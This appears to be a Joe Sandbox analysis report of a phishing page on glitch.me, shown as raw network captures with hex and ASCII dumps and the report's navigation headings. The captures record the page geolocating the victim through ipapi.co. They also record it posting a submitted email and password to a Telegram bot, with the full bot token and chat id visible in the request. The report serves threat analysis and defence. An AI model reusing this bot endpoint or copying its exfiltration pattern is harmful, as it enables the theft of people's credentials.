2025-01-12 00:27:56 UTC	1378	IN	Data Raw: 65 73 74 28 74 29 3a 76 6f 69 64 20 30 3a 76 6f 69 64 20 30 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 74 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 66 6f 72 28 76 61 72 20 6e 2c 72 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2c 6f 3d 72 2e 6c 65 6e 67 74 68 3b 6f 2d 2d 20 3e 30 3b 29 69 66 28 74 3d 3d 3d 28 6e 3d 72 5b 6f 5d 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 2c 74 29 7b 65 26 26 74 68 69 73 2e 73 65 74 28 65 29 2c 74 68 69 73 5b 73 65 5d 3d 74 7c 7c 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 30 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 3d 65 7c 7c 31 30 3b 76 61 72 20 Data Ascii: est(t):void 0:void 0}function fe(e,t){t=t.toLowerCase();for(var n,r=Object.keys(e),o=r.length;o-- >0;)if(t===(n=r[o]).toLowerCase())return n;return null}function le(e,t){e&&this.set(e),this[se]=t\|\|null}function de(e,t){var n=0,r=function(e,t){e=e\|\|10;var

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:27:57 UTC	637	OUT	GET /22background.svg HTTP/1.1 Host: terrific-metal-countess.glitch.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://terrific-metal-countess.glitch.me/estilo.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:27:57 UTC	130	IN	HTTP/1.1 404 Not Found Date: Sun, 12 Jan 2025 00:27:57 GMT Content-Length: 3674 Connection: close Cache-Control: max-age=0
2025-01-12 00:27:57 UTC	3674	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 6c 6c 2c 20 79 6f 75 20 66 6f 75 6e 64 20 61 20 67 6c 69 74 63 68 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 2e 77 65 62 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <title>Well, you found a glitch.</title> <meta name="viewport" content="initial-scale=1, width=device-width"> <link rel="stylesheet" type="text/css" href="https://cloud.webty

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:27:59 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 57 30 57 71 6b 36 2b 6b 77 45 4f 4d 36 35 4b 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 37 30 62 33 63 35 35 38 61 32 31 37 30 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: W0Wqk6+kwEOM65Km.1Context: 3970b3c558a21705
2025-01-12 00:27:59 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-12 00:27:59 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 57 30 57 71 6b 36 2b 6b 77 45 4f 4d 36 35 4b 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 37 30 62 33 63 35 35 38 61 32 31 37 30 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 32 38 61 71 61 2b 59 31 32 54 4a 69 33 32 7a 50 47 62 55 56 32 2b 6a 58 44 2f 74 51 66 77 53 70 6e 56 63 69 70 77 74 49 49 79 37 46 58 4f 4f 5a 35 78 4a 51 4c 42 57 62 41 75 45 67 79 2b 68 57 68 68 6a 62 76 77 66 54 30 75 2f 79 54 51 78 54 49 38 6d 58 50 70 7a 43 49 6d 70 67 4a 35 47 53 59 47 6b 59 77 6a 63 4b 33 68 48 30 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: W0Wqk6+kwEOM65Km.2Context: 3970b3c558a21705<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAV28aqa+Y12TJi32zPGbUV2+jXD/tQfwSpnVcipwtIIy7FXOOZ5xJQLBWbAuEgy+hWhhjbvwfT0u/yTQxTI8mXPpzCImpgJ5GSYGkYwjcK3hH0
2025-01-12 00:27:59 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 57 30 57 71 6b 36 2b 6b 77 45 4f 4d 36 35 4b 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 37 30 62 33 63 35 35 38 61 32 31 37 30 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: W0Wqk6+kwEOM65Km.3Context: 3970b3c558a21705<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-12 00:27:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-12 00:27:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 2b 34 4e 54 52 74 6c 41 45 47 45 76 44 79 4f 70 64 4f 67 49 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: O+4NTRtlAEGEvDyOpdOgIw.0Payload parsing failed.

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:10 UTC	607	OUT	GET /json/ HTTP/1.1 Host: ipapi.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://terrific-metal-countess.glitch.me Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://terrific-metal-countess.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:10 UTC	990	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 00:28:10 GMT Content-Type: application/json Content-Length: 764 Connection: close Allow: HEAD, OPTIONS, POST, OPTIONS, GET X-Frame-Options: DENY Vary: Host, origin access-control-allow-origin: https://terrific-metal-countess.glitch.me X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IUrNTNS60qQYCLI3q1au9CawLYx8NNsccGQmLCa8Q8%2Bsn8P1xfeBqIy9yV17bcpH3w8B7uuPYfeheqcpfpm2%2FRuTb78ETEGCZF63yMUyA2R9Qu6r1uf398ba"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900906675d811a0f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=7550&min_rtt=1898&rtt_var=11835&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2789&recv_bytes=1189&delivery_rate=1495901&cwnd=225&unsent_bytes=0&cid=a698f85e9e922a11&ts=486&x=0"
2025-01-12 00:28:10 UTC	379	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 Data Ascii: { "ip": "8.46.123.189", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "cou
2025-01-12 00:28:10 UTC	385	IN	Data Raw: 75 22 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 36 39 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64 65 22 3a 20 34 30 2e 37 37 38 2c 0a 20 20 20 20 22 6c 6f 6e 67 69 74 75 64 65 22 3a 20 2d 37 33 2e 39 38 38 34 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 20 20 22 75 74 63 5f 6f 66 66 73 65 74 22 3a 20 22 2d 30 35 30 30 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 61 6c 6c 69 6e 67 5f 63 6f 64 65 22 3a 20 22 2b 31 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 22 3a 20 22 55 53 44 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 44 6f 6c 6c 61 72 22 2c 0a 20 20 20 20 22 6c 61 6e 67 75 61 67 65 73 22 3a 20 22 65 Data Ascii: u": false, "postal": "10069", "latitude": 40.778, "longitude": -73.9884, "timezone": "America/New_York", "utc_offset": "-0500", "country_calling_code": "+1", "currency": "USD", "currency_name": "Dollar", "languages": "e

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:11 UTC	337	OUT	GET /json/ HTTP/1.1 Host: ipapi.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:11 UTC	916	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 00:28:11 GMT Content-Type: application/json Content-Length: 764 Connection: close Allow: HEAD, OPTIONS, OPTIONS, POST, GET X-Frame-Options: DENY Vary: Host, origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8hBfURArcTRm0P2S05fddwUukZ2RJ3h4Qa4RqvhEFey00hexLEvQ6WKamTwnfn%2FUzTfy5E44oNJ1SSp4dwhWhItTru2ApdpdoDkJ2bZgA%2BwGiyf1F2vqR4q3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9009066c78fe4357-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3667&min_rtt=1911&rtt_var=4045&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2787&recv_bytes=919&delivery_rate=1454907&cwnd=176&unsent_bytes=0&cid=f8eaf4f318dcddd8&ts=341&x=0"
2025-01-12 00:28:11 UTC	453	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 Data Ascii: { "ip": "8.46.123.189", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "cou
2025-01-12 00:28:11 UTC	311	IN	Data Raw: 20 2d 37 33 2e 39 38 38 34 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 20 20 22 75 74 63 5f 6f 66 66 73 65 74 22 3a 20 22 2d 30 35 30 30 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 61 6c 6c 69 6e 67 5f 63 6f 64 65 22 3a 20 22 2b 31 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 22 3a 20 22 55 53 44 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 44 6f 6c 6c 61 72 22 2c 0a 20 20 20 20 22 6c 61 6e 67 75 61 67 65 73 22 3a 20 22 65 6e 2d 55 53 2c 65 73 2d 55 53 2c 68 61 77 2c 66 72 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 61 72 65 61 22 3a 20 39 36 32 39 30 39 31 2e 30 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 70 6f 70 75 6c 61 74 69 6f 6e Data Ascii: -73.9884, "timezone": "America/New_York", "utc_offset": "-0500", "country_calling_code": "+1", "currency": "USD", "currency_name": "Dollar", "languages": "en-US,es-US,haw,fr", "country_area": 9629091.0, "country_population

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://terrific-metal-countess.glitch.me/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 279

Chrome Cache Entry: 280

Chrome Cache Entry: 281

Chrome Cache Entry: 282

Chrome Cache Entry: 283

Chrome Cache Entry: 284

Chrome Cache Entry: 285

Chrome Cache Entry: 286

Chrome Cache Entry: 287

Chrome Cache Entry: 288

Chrome Cache Entry: 289

Chrome Cache Entry: 290

Chrome Cache Entry: 291

Chrome Cache Entry: 292

Chrome Cache Entry: 293

Chrome Cache Entry: 294

Chrome Cache Entry: 295

Chrome Cache Entry: 296

Chrome Cache Entry: 297

Chrome Cache Entry: 298

Chrome Cache Entry: 299

Chrome Cache Entry: 300

Chrome Cache Entry: 301

Chrome Cache Entry: 302

Chrome Cache Entry: 303

Chrome Cache Entry: 304

Windows Analysis Report
https://terrific-metal-countess.glitch.me/

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:11 UTC	598	OUT	OPTIONS /bot7114109019:AAGE9UOdjZ7I3mDCG6kHa513MvKpJBw78d8/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://terrific-metal-countess.glitch.me User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://terrific-metal-countess.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:11 UTC	345	IN	HTTP/1.1 204 No Content Server: nginx/1.18.0 Date: Sun, 12 Jan 2025 00:28:11 GMT Connection: close Access-Control-Max-Age: 86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: content-type Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:12 UTC	725	OUT	POST /bot7114109019:AAGE9UOdjZ7I3mDCG6kHa513MvKpJBw78d8/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive Content-Length: 155 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://terrific-metal-countess.glitch.me Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://terrific-metal-countess.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:12 UTC	155	OUT	Data Raw: 7b 22 63 68 61 74 5f 69 64 22 3a 22 2d 34 37 33 31 31 33 34 30 33 30 22 2c 22 74 65 78 74 22 3a 22 5c 6e f0 9f 93 a7 55 73 75 61 72 69 6f 3a 20 34 6f 34 6a 62 68 40 67 71 65 2e 6f 72 67 5c 6e f0 9f 94 92 43 6f 6e 74 72 61 3a 20 49 7d 5b 37 48 34 29 4f 48 46 2b 61 5a 48 6c 5c 6e f0 9f 8c 90 43 69 75 64 61 64 3a 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 5c 6e f0 9f 8c 90 50 61 69 73 3a 20 55 53 5c 6e f0 9f 93 8c 49 50 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"chat_id":"-4731134030","text":"\nUsuario: 4o4jbh@gqe.org\nContra: I}[7H4)OHF+aZHl\nCiudad:New York City\nPais: US\nIP: 8.46.123.189"}
2025-01-12 00:28:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 12 Jan 2025 00:28:12 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-12 00:28:12 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 31 34 31 30 39 30 31 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 65 63 65 6d 62 72 65 32 30 32 34 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 65 63 65 6d 62 65 72 61 73 68 65 39 31 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 37 33 31 31 33 34 30 33 30 2c 22 74 69 74 6c 65 22 3a 22 48 6f 74 6d 61 69 6c 61 73 68 65 65 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 36 34 31 Data Ascii: {"ok":true,"result":{"message_id":608,"from":{"id":7114109019,"is_bot":true,"first_name":"Decembre2024bot","username":"Decemberashe91bot"},"chat":{"id":-4731134030,"title":"Hotmailashee","type":"group","all_members_are_administrators":true},"date":1736641

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:13 UTC	401	OUT	GET /bot7114109019:AAGE9UOdjZ7I3mDCG6kHa513MvKpJBw78d8/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:28:13 UTC	346	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Sun, 12 Jan 2025 00:28:13 GMT Content-Type: application/json Content-Length: 80 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-12 00:28:13 UTC	80	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 65 73 73 61 67 65 20 74 65 78 74 20 69 73 20 65 6d 70 74 79 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Bad Request: message text is empty"}

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:28:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 30 45 2f 52 33 6d 78 59 43 6b 47 65 36 36 4d 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 34 35 38 31 34 62 66 32 34 37 30 30 62 31 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 0E/R3mxYCkGe66Mt.1Context: e45814bf24700b1d
2025-01-12 00:28:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-12 00:28:14 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 30 45 2f 52 33 6d 78 59 43 6b 47 65 36 36 4d 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 34 35 38 31 34 62 66 32 34 37 30 30 62 31 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 32 38 61 71 61 2b 59 31 32 54 4a 69 33 32 7a 50 47 62 55 56 32 2b 6a 58 44 2f 74 51 66 77 53 70 6e 56 63 69 70 77 74 49 49 79 37 46 58 4f 4f 5a 35 78 4a 51 4c 42 57 62 41 75 45 67 79 2b 68 57 68 68 6a 62 76 77 66 54 30 75 2f 79 54 51 78 54 49 38 6d 58 50 70 7a 